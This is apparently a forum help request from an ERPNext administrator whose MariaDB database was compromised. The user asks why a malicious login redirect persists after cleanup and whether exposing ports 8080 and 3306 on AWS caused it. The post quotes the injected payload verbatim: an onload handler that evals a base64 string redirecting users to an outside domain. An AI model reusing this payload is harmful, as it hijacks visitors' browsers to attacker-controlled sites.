My ERPNext deployment was subjected to an SQL injection attack. The attacker was able to inject a malicious <body/onload=eval(atob("d2luZG93LmxvY2F0aW9uLnJlcGxhY2UoImh0dHBzOi8vd3d3LnRvcHJldmVudWVnYXRlLmNvbS9jbmN0d2pkbj9rZXk9NzU0YTVmZGE2Mjk1N2M4MDc1NzdiOTEyYmFiOThlYzYiKQ=="))>
script into our MariaDB database, which redirected users to an unauthorized domain upon login. We identified and removed the malicious script from the tabFile table in the file_url field within MariaDB.
However, even after cleaning the database, the issue persists when switching to desk mode, anyone can suggest how to fix this ?
The port 8080 is opened in Security groups of AWS Ec2 , I enabled port 3306 in security groups so that i can connect to mariadb from a dekstop database client like dbeaver.
Deployment became vulnerable because i exposed ports ?